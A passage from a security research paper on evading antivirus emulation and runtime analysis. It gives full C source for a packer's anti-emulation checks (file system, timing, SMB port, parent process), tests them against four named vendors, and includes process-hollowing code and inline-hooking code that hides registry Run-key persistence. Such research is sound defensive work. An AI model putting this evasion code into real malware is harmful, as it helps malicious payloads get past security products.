system. This environment implements its own virtual memory, file system, registry hives, 

network input/output, simulated processes and all possible subsystems in order to convince the 

file into thinking it is being executed on a real system. 

Emulation, despite its efficiency as we’ll see in the rest of this paper, is however a complex 

component that not only must have the capacity to correctly emulate complex environment, but 

must have low performance impact and protections against anti-emulation checks used by 

malware developers. This is probably why only lightweight ‘emulation’ and no full-fledged 

‘heavy’ sandboxes were identified. 

During this research, several detection mechanisms were implemented  in the packer’s stub that 

try to detect the emulated environment by interacting with the filesystem, network access or by 

performing timing checks; other checks rely on detecting binary instrumentation and 

discrepancies in API calls. These checks were always executed before proceeding to decrypt 

the original but currently encrypted executable and launching it from memory, in order to 

measure the effectiveness of each check.  

The rest of this section details some of the most important Emulation-based Evasion checks 

and showcases their efficiency against Antivirus products that were found to do some kind of 

code emulation. 

3.2.1. Code emulation bypass checks 

3.2.1.1. Filesystem 

FS1  

This check writes a secret message to a temporary Alternate Data Stream (ADS) and verifies 

the content by reading it afterward. This check allows the simple verification of the 

implementation of a persistent file system that supports ADS in the emulator. 
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BOOL fs1() 

{ 

 /* 

 writes secret data to a file and checks it back 

 */ 

 

 //MessageBox(NULL, "FS1", "FS1", 0); 

  

 char buff[65535]; 

 char buff2[65535]; 

 char DataBuffer[] = "Dear AV, what is happiness ?"; 

    DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer); 

    DWORD dwBytesWritten = 0; 

    BOOL bErrorFlag = FALSE; 

 HANDLE hFile1, hFile2;  

 DWORD  dwBytesRead = 0; 

    char   ReadBuffer[256] = {0}; 

 

 GetEnvironmentVariable("TMP", &buff[0], 65535); 

 strcat_s(buff, "\\dull.txt"); 

 strcat_s(buff2, buff); 

 strcat_s(buff2, ":ads"); 

 //MessageBox(NULL, buff, buff, 0); 

 

 hFile1 = CreateFile(buff, GENERIC_WRITE, 0, NULL, CREATE_NEW, 

FILE_ATTRIBUTE_NORMAL, NULL);  

  

 hFile2 = CreateFile(buff2, GENERIC_WRITE, 0, NULL, CREATE_NEW, 

FILE_ATTRIBUTE_NORMAL, NULL);  

 bErrorFlag = WriteFile(hFile2, DataBuffer, dwBytesToWrite, 

&dwBytesWritten, NULL);     

 CloseHandle(hFile2); 

 

 hFile2 = CreateFile(buff2, GENERIC_READ, FILE_SHARE_READ, NULL, 

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  

 ReadFile(hFile2, ReadBuffer, 256-1, &dwBytesRead, NULL); 

 CloseHandle(hFile2); 

 CloseHandle(hFile1); 

 DeleteFile(buff); 

 DeleteFile(buff2); 

 //MessageBox(NULL, ReadBuffer, ReadBuffer, 0); 

 if(strstr(ReadBuffer,DataBuffer)){ 

  return FALSE; 

 } 

 return TRUE; 

} 

src2: Persistent Filesystem check 

FS2 

This check loads a list of real and false DLL through LoadLibrary. The check uses a deviated 

approach to verify the authenticity of real files on the system. If the Emulator simulates the 

LoadLibrary of all DLL, even the fake ones, Emulator is detected: 

BOOL fs2() 

{ 
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    //tries to load existing and fake obscure DLL, if fake have a real 

address, it is emulated, if obscure but existing are not loaded, it is 

emulated 

    char *realDLL[] = {"Kernel32.DLL", "networkexplorer.DLL", 

"NlsData000c.DLL"}; 

    char *falseDLL[] = {"NetProjW.DLL", "Ghofr.DLL"}; 

    HMODULE hInstLib; 

 

    for(int i=0; i<(sizeof(realDLL)/sizeof(*realDLL)); i++) 

    { 

     //printf("%s\n", realDLL[i]); 

     hInstLib = LoadLibraryA( realDLL[i] ); 

     if(hInstLib == NULL) 

      return TRUE; 

     FreeLibrary(hInstLib); 

    } 

 

    for(int i=0; i<(sizeof(falseDLL)/sizeof(*falseDLL)); i++) 

    { 

     //printf("%s\n", falseDLL[i]); 

     hInstLib = LoadLibraryA( falseDLL[i] ); 

     if(hInstLib != NULL) 

      return TRUE; 

    } 

} 

src3: Check filesystem files using LoadLibrary 

 

FS3 

This check simply uses a number of File System related Windows API functions and checks 

whether the results are as expected: 

BOOL fs3() { 

 TCHAR szExeFileName[MAX_PATH];  

 GetModuleFileName(NULL, szExeFileName, MAX_PATH); 

  

 HANDLE hFile; 

 hFile = CreateFile(szExeFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 

CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); 

 DWORD error = GetLastError(); 

 if(!(hFile == INVALID_HANDLE_VALUE && error == ERROR_FILE_EXISTS)) 

  return TRUE; 

 

 hFile = CreateFile(szExeFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 

OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 

 error = GetLastError(); 

 if(!(hFile != INVALID_HANDLE_VALUE && error == ERROR_ALREADY_EXISTS)) { 

  return TRUE; 

 } 

 

 hFile = CreateFile(szExeFileName, GENERIC_WRITE, 0, NULL, 

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 

 error = GetLastError(); 

 if(!(hFile == INVALID_HANDLE_VALUE && error == 

ERROR_SHARING_VIOLATION)) { 
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  return TRUE; 

 } 

 /* 

 char OUTPUT[2000]; 

 wsprintf(OUTPUT, "GetLastError: %d", error); 

 MessageBox(NULL, OUTPUT, "TEST", 0); 

 */ 

 return FALSE; 

}  

src4: Delay the unpacking 

FS4 

This check simply uses a number of rare File System related Windows API functions and 

checks whether the results are as expected: 

BOOL fs4() { 
 //MessageBox(NULL, "Fs4", "Fs4", 0); 
 if(waveInStop(NULL) != MMSYSERR_INVALHANDLE ) 
  return TRUE; 
 
 BOOL result = CancelIoEx(NULL, NULL); 
 DWORD error = GetLastError(); 
 if(!(result == 0 && error == ERROR_INVALID_HANDLE)) 
  return TRUE; 
 
 return FALSE; 
} 

src5: Delay the unpacking 

 

3.2.1.2. Timing 

Time1  

Delays unpacking of the executable using a call to the Sleep function. This technique has widely 

been used by malware. Antivirus products have countered this protection by emulating the 

execution of Sleep and reducing the time interval. 

BOOL time1(){ 

    //simply sleeps for a long time to delay payload decryption 

    Sleep(100000); 

    return FALSE; 

} 

src6: Delay the unpacking 

Time2  

This technique is a good example of how malware developers have adapted to the evolution of 

Antivirus protection mechanism. The following check uses a call to the GetTickCount to detect 

any Sleep emulation. Antivirus has in parallel implemented countermeasures that emulate both 

the Sleep and GetTickCount functions as detected during our tests by some Antivirus. 

BOOL time2() 
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{ 

    DWORD tc1, tc2; 

    tc1 = GetTickCount(); 

    Sleep(1000); 

    tc2 = GetTickCount(); 

    tc2 = tc2-tc1; 

    //DebugBreak(); 

    if(tc2 >= 1000) 

 { 

 return FALSE; 

 } 

    return TRUE; 

} 

src7: Detection of Sleep emulation using GetTickCount 

Time3 

This check has been created to exploit the emulation of the Sleep function done in Antivirus 

Emulator. The principle relies on the reduction of the Sleep time to detect discrepancies. The 

check creates two threads executed simultaneously, the first thread performs a large Sleep, 100 

milliseconds for instance plus an arbitrary delay due to thread creation, and then checks the 

value of a counter with an initial value of 0, the second thread executes a multitude of Sleep 

function of a reduced delay, for instance 10 Sleep of 10 milliseconds, after each Sleep, the 

counter value is incremented, until it reaches the final value, 10 in our case for example. 

In normal execution without any Sleep emulation, when the first thread performs the check, the 

counter has reached the expected value, in an emulated environment, the Sleep is rapidly 

executed and the check is performed before the counter has reached its final value.  

int iCounter; 

BOOL bState; 

 

unsigned __stdcall threadFunction1(void* pArguments){ 

    Sleep(200); 

    if(iCounter == 10){ 

     bState = TRUE; 

    } 

    _endthreadex(0); 

    return 0; 

} 

unsigned __stdcall threadFunction2(void* pArguments){ 

    for(int i=0; i<10; i++){ 

     iCounter++; 

     Sleep(10); 

    } 

    _endthreadex(0); 

    return 0; 

} 

BOOL time3() 

{ 

    unsigned threadID; 

    HANDLE hThread; 

    //init global vars 
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    iCounter = 0; 

    bState = FALSE; 

    _beginthreadex(NULL, 0, &threadFunction2, NULL, 0, &threadID); 

    hThread = (HANDLE) _beginthreadex(NULL, 0, &threadFunction1, NULL, 0, 

&threadID);     

 WaitForSingleObject( hThread, INFINITE ); 

    if(bState == TRUE){ 

     return FALSE; 

    } 

    return TRUE; 

} 

src8: Detection of Sleep emulation using multi-threading 

 

Time4 

This check is also known as a “API Bomb” which indirectly delays the unpacking: 

 

// API Bomb 

BOOL time4() 

{ 

 //MessageBoxA(NULL,"time4","time4",0); 

 for(int i=0;i<500000;i++) { 

  LoadLibrary("Kernel32.dll"); 

 } 

 return FALSE; 

} 

src9: Detection of Sleep emulation using multi-threading 

 

Time5 

This check delays time by relying on an external program, in this case ping, to delay execution: 

 

// PING sleep 

BOOL time5() 

{ 

 //MessageBoxA(NULL,"time5","time5",0); 

 DWORD tc1, tc2; 

 char buff[65535]; 

 GetEnvironmentVariable("TMP", &buff[0], 65535); 

 strcat_s(buff, "\\ping.txt"); 

 DeleteFile(buff); 

 tc1 = GetTickCount(); 

 

 SHELLEXECUTEINFO ShExecInfo = {0}; 

 ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); 

 ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; 

 ShExecInfo.hwnd = NULL; 

 ShExecInfo.lpVerb = NULL; 

 ShExecInfo.lpFile = "cmd.exe";         

 ShExecInfo.lpParameters = "/c \"ping 127.0.0.1 -n 10 -w 1 > 

%TMP%\\ping.txt";    
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 ShExecInfo.lpDirectory = NULL; 

 ShExecInfo.nShow = SW_HIDE; 

 ShExecInfo.hInstApp = NULL;  

 ShellExecuteEx(&ShExecInfo); 

 WaitForSingleObject(ShExecInfo.hProcess,INFINITE); 

 

 tc2 = GetTickCount(); 

 tc2 = tc2-tc1; 

 //DebugBreak(); 

 if(tc2 < 5000){ 

  return TRUE; 

 } 

 // Verify with file creation / access times  

 HANDLE hFile = CreateFile(buff, GENERIC_READ, 0, 0, OPEN_EXISTING, 

FILE_ATTRIBUTE_NORMAL, NULL); 

 if (hFile == INVALID_HANDLE_VALUE)  { 

  DeleteFile(buff); 

  return TRUE; 

 } 

 FILETIME lpCreationTime, lpLastAccessTime, lpLastWriteTime, resultft; 

 if(GetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, 

&lpLastWriteTime) == 0) { 

  CloseHandle(hFile); 

  DeleteFile(buff); 

  return TRUE; 

 } 

 

 ULARGE_INTEGER result; 

 result.HighPart = lpLastWriteTime.dwHighDateTime - 

lpLastAccessTime.dwHighDateTime; 

 result.LowPart = lpLastWriteTime.dwLowDateTime - 

lpLastAccessTime.dwLowDateTime; 

 

 if((result.QuadPart/10000) < 5000) { 

  CloseHandle(hFile); 

  DeleteFile(buff); 

  return TRUE; 

 } 

 CloseHandle(hFile); 

 DeleteFile(buff); 

  

 return FALSE; 

} 

src10: Detection of Sleep emulation using multi-threading 

 

3.2.1.3. Network 

Network445 

This technique was first documented by Jérôme Nokin in MISC 61. The check connects to port 

445 (SMB), used by all professional Microsoft Windows versions. Most Sandboxes as a 

measure of precaution don’t allow any network connectivity, allowing the packer to detect 

emulation without the need of remote server component. 
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BOOL network445(){ 

    SOCKET Socket; 

    SOCKADDR_IN SockAddr; 

    // select() stuffs 

    FD_SET WriteSet; 

    FD_SET ReadSet; 

    struct timeval tv ; 

    BOOL ret = FALSE; 

 

    // Initialise Winsock 

    WSADATA WsaDat; 

    if(WSAStartup(MAKEWORD(2,2),&WsaDat)!=0){ 

     WSACleanup(); 

     return TRUE; 

    } 

     

    // Create our socket 

    Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 

    if(Socket==INVALID_SOCKET){ 

     WSACleanup(); 

     return TRUE; 

    } 

 

    // Setup our socket address structure 

    SockAddr.sin_port=htons(445); 

    SockAddr.sin_family=AF_INET; 

    SockAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 

 

    // Attempt to connect to server 

    if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr))!=0){ 

     WSACleanup(); 

     return TRUE; 

    } 

      

    // Prepare the Read and Write socket sets for network I/O notification     

    FD_ZERO(&ReadSet); 

    FD_ZERO(&WriteSet); 

 

    // Always look for connection attempts 

    FD_SET(Socket, &ReadSet); 

 

    // Set up the struct timeval for the timeout. 

    tv.tv_sec = 12 ; 

    tv.tv_usec = 0 ; 

 

    if (select(0, &ReadSet, &WriteSet, NULL, &tv) == 0){ 

      ret = FALSE; 

    } 

    shutdown(Socket,SD_SEND); 

    closesocket(Socket); 

    WSACleanup(); 

    return ret; 

} 

src11: SMB port connection 
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Web1  

This check uses internet connectivity to verify the content of a specified URL. The URL and the 

content is determined during the generation of the new executable by using common URLs and 

avoid the introduction of new detection vector by specifying a specific C&C URL. This measure 

requires internet connectivity usually blocked by emulators. Allowing internet connectivity will 

allow Malware developers to leak information through the emulator, which could be used to 

fingerprint the used engine and eventually identify new evasion vectors. 

3.2.1.4. Instrumentation 

Instrumentation is a method of analyzing the behavior of a binary application at runtime through 

the injection of instrumentation code. This instrumentation code executes as part of the normal 

instruction stream after being injected. Famous instrumentation frameworks include PIN by Intel, 

Valgrind and DynamicRIO. 

If Antivirus products use Instrumentation to analyze binaries, only Dynamic Binary 

Instrumentation (DBI) is possible as Antiviruses only have access to the final binary and not the 

source code. 

To detect the use of instrumentation by Antivirus, several check have been implemented, mostly 

based on the work “Detecting Dynamic Binary Instrumentation Frameworks” by Francisco 

Falcón and Nahuel Riva from CORE Impact. We took the most generic one, which is the 9th 

check documented by them.  

Instrumentation9 

This function checks the name of the parent process. If it does not match "explorer.exe" or 

"cmd.exe" it assumes that it is being instrumented. This check relies on the usual functioning of 

instrumentation engines, which requires it being initialized before executing the instrumented 

application. 

BOOL instrumentation9() 

{ 

 

    /*This function checks the name of the parent process. 

    If it does not match "explorer.exe" nor "cmd.exe" 

    it assumes that it is being instrumented. 

    */ 

    HINSTANCE hInstLib; 

    HANDLE hSnapShot; 

    BOOL bContinue; 

    DWORD crtpid, pid = 0; 

    PROCESSENTRY32 procentry; 

 

    char ProcName[MAX_PATH]; 

    HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD); 

    BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32); 

    BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32); 

 

    hInstLib = LoadLibraryA( "Kernel32.DLL" ) ; 

    if( hInstLib == NULL ) 
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    { 

     //printf("Unable to load Kernel32.dll\n"); 

     return TRUE ; 

    } 

 

    lpfCreateToolhelp32Snapshot= (HANDLE(WINAPI *)(DWORD,DWORD)) 

    GetProcAddress( hInstLib, "CreateToolhelp32Snapshot" ); 

    lpfProcess32First= (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32)) 

    GetProcAddress( hInstLib, "Process32First" ); 

    lpfProcess32Next= (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32)) 

    GetProcAddress( hInstLib, "Process32Next" ); 

 

    if( lpfProcess32Next == NULL || lpfProcess32First == NULL || 

lpfCreateToolhelp32Snapshot == NULL ) 

    { 

     FreeLibrary( hInstLib ); 

     return TRUE ; 

    } 

 

    hSnapShot = lpfCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); 

    if( hSnapShot == INVALID_HANDLE_VALUE ) 

    { 

      //printf("ERROR: INVALID_HANDLE_VALUE"); 

      FreeLibrary( hInstLib ); 

      return TRUE; 

    } 

 

    memset((LPVOID)&procentry,0,sizeof(PROCESSENTRY32)); 

    procentry.dwSize = sizeof(PROCESSENTRY32); 

    bContinue = lpfProcess32First( hSnapShot, &procentry ); 

    crtpid = GetCurrentProcessId(); 

 

    while(bContinue) 

    { 

     //printf("-- Process name: %s -- Process ID: %d -- Parent ID: %d\n", 

procentry.szExeFile, procentry.th32ProcessID, procentry.th32ParentProcessID); 

     if(crtpid == procentry.th32ProcessID) 

     { 

      pid =  procentry.th32ParentProcessID; 

      lowercase(procentry.szExeFile); 

      FreeLibrary(hInstLib); 

      GetNameByPid(procentry.th32ParentProcessID, ProcName, 

sizeof(ProcName)); 

 

      if(strcmp("explorer.exe", ProcName) && strcmp("cmd.exe", 

ProcName)) 

       return TRUE; 

      else 

       return FALSE; 

     } 

 

     procentry.dwSize = sizeof(PROCESSENTRY32); 

     bContinue = !pid && lpfProcess32Next( hSnapShot, &procentry ); 

    } 

 

    FreeLibrary(hInstLib); 
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    return FALSE; 

} 

src13: Instrumentation check using parent process name 

3.2.2. Test results 

Tests showed that emulation-based analysis has been implemented quite effectively by four 

Antivirus vendors, Microsoft, Kaspersky, NOD32 and AVG. These four products have been able 

to significantly detect samples that were using different packing schemes with different 

encryption ciphers, even with the Resource packer method (see 3.1). 

The following matrix summarizes the effectiveness of the aforementioned checks 

 
fig26: Anti-emulation efficiency per check 

3.3. Runtime-based Detection Evasion 

Runtime analysis is another advanced feature implemented by some Antivirus product to 

analyze executables that have bypassed all the Pre-execution detection stages (Static and 

Emulation). The decision to perform runtime analysis depends greatly on the setting of the 

Antivirus and the behavior of the executable. Certain actions, like changing registry keys to 

achieve persistence, performing DLL injection or process hollowing (20) are examples of actions 

that might trigger Antivirus detection, as these functionalities are usually used by malware. 

However, samples that do not exhibit these specific detection vectors are not detected by this 

technique, and by utilizing the research results of the previous two Antivirus evasion subsection, 

can be rendered completely undetected in a trivial matter by utilizing the Resource Packer.  

These actions that are detected at runtime have a common signature that could be defined by a 

succession of API calls with particular parameters, if we take the example of process hollowing 

for instance: 

//source http://www.autosectools.com/process-hollowing.pdf 

HMODULE hNTDLL = GetModuleHandleA("ntdll"); 

FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, 

"NtUnmapViewOfSection"); 

 _NtUnmapViewOfSection NtUnmapViewOfSection = 

     (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; 

  

    DWORD dwResult = NtUnmapViewOfSection 

    ( 

     pProcessInfo->hProcess,   

File1 File2 File3 File4 Netw1 Instr9 Time1 Time2 Time3 Time4 Time5

32-bit yes no yes yes no no no no yes yes yes

64-bit yes yes yes yes no no no no yes yes yes

32-bit yes no no yes yes no no no no yes yes

64-bit yes yes yes yes yes yes yes yes yes yes yes

32-bit no yes yes yes yes yes yes yes yes yes yes

64-bit no yes yes yes yes yes yes yes yes yes yes

32-bit yes yes yes yes yes yes yes yes yes yes yes

64-bit yes yes yes yes yes yes yes yes yes yes yes

Microsoft

Kaspersky

AVG

Eset
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     pPEB->ImageBaseAddress 

    ); 

  

    if (dwResult) 

    { 

     printf("Error unmapping section\r\n"); 

     return; 

    } 

  

    printf("Allocating memory\r\n"); 

  

    PVOID pRemoteImage = VirtualAllocEx 

    ( 

     pProcessInfo->hProcess, 

     pPEB->ImageBaseAddress, 

     pSourceHeaders->OptionalHeader.SizeOfImage, 

     MEM_COMMIT | MEM_RESERVE, 

     PAGE_EXECUTE_READWRITE 

    ); 

if (!pRemoteImage) 

    { 

     printf("VirtualAllocEx call failed\r\n"); 

     return; 

    } 

  

    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - 

     pSourceHeaders->OptionalHeader.ImageBase; 

  

    printf 

    ( 

     "Source image base: 0x%p\r\n" 

     "Destination image base: 0x%p\r\n", 

     pSourceHeaders->OptionalHeader.ImageBase, 

     pPEB->ImageBaseAddress 

    ); 

  

    printf("Relocation delta: 0x%p\r\n", dwDelta); 

  

    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; 

  

    printf("Writing headers\r\n"); 

  

    if (!WriteProcessMemory 

    ( 

     pProcessInfo->hProcess,         

     pPEB->ImageBaseAddress,   

     pBuffer,   

     pSourceHeaders->OptionalHeader.SizeOfHeaders,   

     0 

    )) 

src14: Process Hollowing by John Leitch 

It is possible to identify a pattern which is determining the address of NtUnmapViewOfSection, 

calling NtUnmapViewOfSection, VirtualAllocEx and WriteProcessMemory with the same initial 

parameters for instance. 
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Process hollowing includes more actions with use of particular API to perform the following 

actions: 

● Opening source image and unmapping destination section 

● Allocating memory and writing of different section 

● Image rebasing if needed 

● Getting and setting of thread context and resume thread execution 

This section covers some techniques to evade Runtime analysis by translating API call and by 

injecting junk API calls that won’t alter the final malicious activity, but will alter their succession. 

These techniques relies on Inline Hooking to effectively alter the final application, which is 

detailed in the below section. Other techniques still in development are part of future work. 

3.3.1. Inline hooking 

Inline hooking is a dynamic hooking technique that has widely been used by both malware 

developers and malware analysts to monitor application inner working or to alter other 

applications and potentially inject malicious actions. It is a dynamic hooking technique 

performed on an already running application, which modifies memory portions in order to 

redirect control flow to a new function. To explain the different steps needed to perform, let’s 

take the following x64 example calling the CreateFileW function.  

This is the disassembly of the function before hooking. In order to correctly modify the memory 

portion without breaking the application, the hooking engine must have disassembling 

capacities in order to safely inject the redirection routine: 

[*] Before Hook 

00000000 (05) 48895c2408            MOV [RSP+0x8], RBX 

00000005 (05) 48896c2410            MOV [RSP+0x10], RBP 

0000000a (05) 4889742418            MOV [RSP+0x18], RSI 

0000000f (01) 57                    PUSH RDI 

00000010 (04) 4883ec50              SUB RSP, 0x50 

00000014 (02) 8bda                  MOV EBX, EDX 

00000016 (03) 488bf9                MOV RDI, RCX 

00000019 (03) 488bd1                MOV RDX, RCX 

src15: Assembly before hooking 

After hooking, a MOV, JMP routine is injected and then correctly padded with NOP.  

0x17fde1032 is the address of the hooking function that has access to all function parameters 

and can perform the interception actions. After hooking: 

[*] After Hook 

00000000 (10) 48b83210de7f01000000  MOV RAX, 0x17fde1032 

0000000a (02) ffe0                  JMP RAX 

0000000c (01) 90                    NOP 

0000000d (01) 90                    NOP 

0000000e (01) 90                    NOP 

0000000f (01) 57                    PUSH RDI 

00000010 (04) 4883ec50              SUB RSP, 0x50 
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00000014 (02) 8bda                  MOV EBX, EDX 

00000016 (03) 488bf9                MOV RDI, RCX 

00000019 (03) 488bd1                MOV RDX, RCX 

src16: Assembly after hooking 

The old instructions are saved in a trampoline function which will be used if the application 

needs to resume the execution of the old function. Before saving the trampoline code, 

instructions must be corrected in case for instance it is using relative jump: 

[*] Trampoline 

00000000 (05) 48895c2408            MOV [RSP+0x8], RBX 

00000005 (05) 48896c2410            MOV [RSP+0x10], RBP 

0000000a (05) 4889742418            MOV [RSP+0x18], RSI 

0000000f (05) e92b2a4077            JMP 0x77402a3f 

00000014 (02) 0000                  ADD [RAX], AL 

00000016 (02) 0000                  ADD [RAX], AL 

src17: Trampoline assembly code 

Once the hook is detached, memory code is corrected: 

[*] Before Restore 

00000000 (10) 48b83210de7f01000000  MOV RAX, 0x17fde1032 

0000000a (02) ffe0                  JMP RAX 

0000000c (01) 90                    NOP 

0000000d (01) 90                    NOP 

0000000e (01) 90                    NOP 

0000000f (01) 57                    PUSH RDI 

00000010 (04) 4883ec50              SUB RSP, 0x50 

00000014 (02) 8bda                  MOV EBX, EDX 

00000016 (03) 488bf9                MOV RDI, RCX 

00000019 (03) 488bd1                MOV RDX, RCX 

0000001c (01) 48                    DB 0x48 

0000001d (01) 8d                    DB 0x8d 

0000001e (01) 4c                    DB 0x4c 

0000001f (01) 24                    DB 0x24 

[*] Trampoline 

00000000 (05) 48895c2408            MOV [RSP+0x8], RBX 

00000005 (05) 48896c2410            MOV [RSP+0x10], RBP 

0000000a (05) 4889742418            MOV [RSP+0x18], RSI 

0000000f (05) e92b2a4077            JMP 0x77402a3f 

00000014 (02) 0000                  ADD [RAX], AL 

00000016 (02) 0000                  ADD [RAX], AL 

00000018 (02) 0000                  ADD [RAX], AL 

0000001a (02) 0000                  ADD [RAX], AL 

0000001c (02) 0000                  ADD [RAX], AL 

0000001e (02) 0000                  ADD [RAX], AL 

[*] After Restore 

00000000 (05) 48895c2408            MOV [RSP+0x8], RBX 

00000005 (05) 48896c2410            MOV [RSP+0x10], RBP 

0000000a (05) 4889742418            MOV [RSP+0x18], RSI 

0000000f (01) 57                    PUSH RDI 

00000010 (04) 4883ec50              SUB RSP, 0x50 

00000014 (02) 8bda                  MOV EBX, EDX 
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00000016 (03) 488bf9                MOV RDI, RCX 

00000019 (03) 488bd1                MOV RDX, RCX 

0000001c (01) 48                    DB 0x48 

0000001d (01) 8d                    DB 0x8d 

0000001e (01) 4c                    DB 0x4c 

0000001f (01) 24                    DB 0x24 

src18: Assembly code at hook detach 

Inline hooking operates in user land and has the advantage of being performed before the 

SSDT hooking performed on kernel land, usually used by Antiviruses. Inline hooking is 

particularly useful to perform actions, like API translation detailed in the section below. 

 
fig27: Inline hooking vs. SSDT hooking 

Other tools, like the Cuckoo Sandbox, also perform also Inline hooking, some projects are 
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working on extending it to support for kernel-based hooking. The old hooking engine used by 

Cuckoo Sandbox was used as a base for the packer and was extended to support x64 

architecture. Source-Code is open-source with respect to the GPL license. 

This is sample code to demonstrate the hooking routine. The call to VirtualAllocEx allows 

allocating memory to store the trampoline. My_CreateFileA function is the one executed when 

calling CreateFileA function from the main executable. 

 

typedef HANDLE (WINAPI * CREATEFILEA)(LPCWSTR lpFileName, 

                                   DWORD dwDesiredAccess, 

                                   DWORD dwShareMode, 

                                   LPSECURITY_ATTRIBUTES 

lpSecurityAttributes, 

                                   DWORD dwCreationDisposition, 

                                   DWORD dwFlagsAndAttributes, 

                                   HANDLE hTemplateFile); 

 

CREATEFILEA Real_CreateFileA; 

 

HANDLE WINAPI My_CreateFileA(LPCWSTR lpFileName, 

                          DWORD dwDesiredAccess, 

                          DWORD dwShareMode, 

                          LPSECURITY_ATTRIBUTES lpSecurityAttributes, 

                          DWORD dwCreationDisposition, 

                          DWORD dwFlagsAndAttributes, 

                          HANDLE hTemplateFile) 

{ 

 char *buffer = (char *)calloc(BUFSIZE, sizeof(char)); 

 HANDLE hFile; 

 

 printf("[*] Hook CreateFileA IN\n"); 

 

 hFile = Real_CreateFileA(lpFileName, 

                          dwDesiredAccess, 

                          dwShareMode, 

                          lpSecurityAttributes, 

                          dwCreationDisposition, 

                          dwFlagsAndAttributes, 

                          hTemplateFile); 

 

 

 if(hFile == INVALID_HANDLE_VALUE) 

    { 

     sprintf_s(buffer, 

               BUFSIZE, 

              

 "\"filesystem\",\"CreateFileA\",\"FAILURE\",\"\",\"lpFileName-

>%s\",\"dwDesiredAccess->0x%x\"\r\n", 

               lpFileName, 

               dwDesiredAccess); 

    } 

    else 

    { 
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     sprintf_s(buffer, 

               BUFSIZE, 

              

 "\"filesystem\",\"CreateFileA\",\"SUCCESS\",\"0x%08x\",\"lpFileName-

>%s\",\"dwDesiredAccess->0x%x\"\r\n", 

               hFile, 

               lpFileName, 

               dwDesiredAccess); 

    } 

 

 printf(buffer); 

 printf("[*] Hook CreateFileA OUT\n"); 

 free(buffer); 

 

 return hFile; 

} 

 

 

void hookJunkCreateFile() 

{ 

 

    HINSTANCE hKernel32; 

 

    hKernel32 = LoadLibraryA("kernel32.dll"); 

 

    Real_CreateFileA = (CREATEFILEA)VirtualAllocEx(GetCurrentProcess(), 

                                                        NULL, 

                                                        sizeof(BYTE) * 

TRAMPSIZE, 

                                                        MEM_COMMIT | 

MEM_RESERVE, 

                                                       

 PAGE_EXECUTE_READWRITE); 

 

    // Hook Filesystem Functions. 

 if(HookAttach((ULONG_PTR)GetProcAddress(hKernel32, "CreateFileA"), 

(ULONG_PTR)Real_CreateFileA, (ULONG_PTR)My_CreateFileA) == TRUE) {      

     printf("[*] CreateFileA Hooked\n"); 

 } 

 

} 

src19: Hook attach & detach routine 

3.3.2. API translation 

API translation is a technique that transforms certain API calls with specific parameters, flagged 

as suspicious or dangerous, into a different form that is more difficult to analyze. A common 

example is setting autorun registry key to achieve system persistence, by adding for instance an 

entry to "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run". 

Some Antivirus solutions and sandboxes will use these indicators to determine the risk profile of 

the application. 
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The API call in the example, if transformed into a call to system(“reg.exe  add 

‘\\.\HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ …”) will not trigger any flags as 

the system API call don’t have a heuristic signature for this executable, and will maybe also be 

handled by a different processor. 

To perform this kind of transformation, the packer uses Inline hooking to intercept the call for 

registry manipulation API, replace the function in charge of saving a value into a system call 

without sending the execution to the original function, bypassing this way all hooking methods 

that operates after the Inline hook. 

In the following code excerpt from the packer, we can see the function in charge setting hooks 

and initializing certain variables: 

void hookRegPersist(){ 

    HINSTANCE hAdvapi32; 

    rrs = (regSave *) malloc(sizeof(regSave)); 

    hAdvapi32 = LoadLibraryA("Advapi32.dll"); 

 

    Real_RegOpenKeyExW = (REFOPENKEYEXW)VirtualAllocEx(GetCurrentProcess(), 

                                                        NULL, 

                                                        sizeof(BYTE) * 

TRAMPSIZE, 

                                                        MEM_COMMIT | 

MEM_RESERVE, 

                                                       

 PAGE_EXECUTE_READWRITE); 

    Real_RegSetValueExW = (REGSETVALUEEXW)VirtualAllocEx(GetCurrentProcess(), 

                                                        NULL, 

                                                        sizeof(BYTE) * 

TRAMPSIZE, 

                                                        MEM_COMMIT | 

MEM_RESERVE, 

                                                       

 PAGE_EXECUTE_READWRITE); 

     

    if(HookAttach((ULONG_PTR)GetProcAddress(hAdvapi32, "RegOpenKeyExW"), 

(ULONG_PTR)Real_RegOpenKeyExW, (ULONG_PTR)My_RegOpenKeyExW) == TRUE) {      

     printf("[*] RegOpenKeyExW Hooked\n"); 

 } 

    if(HookAttach((ULONG_PTR)GetProcAddress(hAdvapi32, "RegSetValueExW"), 

(ULONG_PTR)Real_RegSetValueExW, (ULONG_PTR)My_RegSetValueExW) == TRUE) {      

     printf("[*] RegSetValueExW Hooked\n"); 

 } 

 

} 

src20: Persistent registry translation hooking 

The first call to RegOpenKey allows keeping track of hKey handle and the subkey value. This 

action is necessary as there is no function that allows accessing this information from hKey 

handle only: 

HANDLE WINAPI My_RegOpenKeyExW(HKEY hKey, 
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         LPCTSTR lpSubKey, 

         DWORD ulOptions, 

         REGSAM samDesired, 

         PHKEY phkResult) 

{ 

    rrs->hRegKey = hKey; 

    rrs->hRegKeyRes = phkResult; 

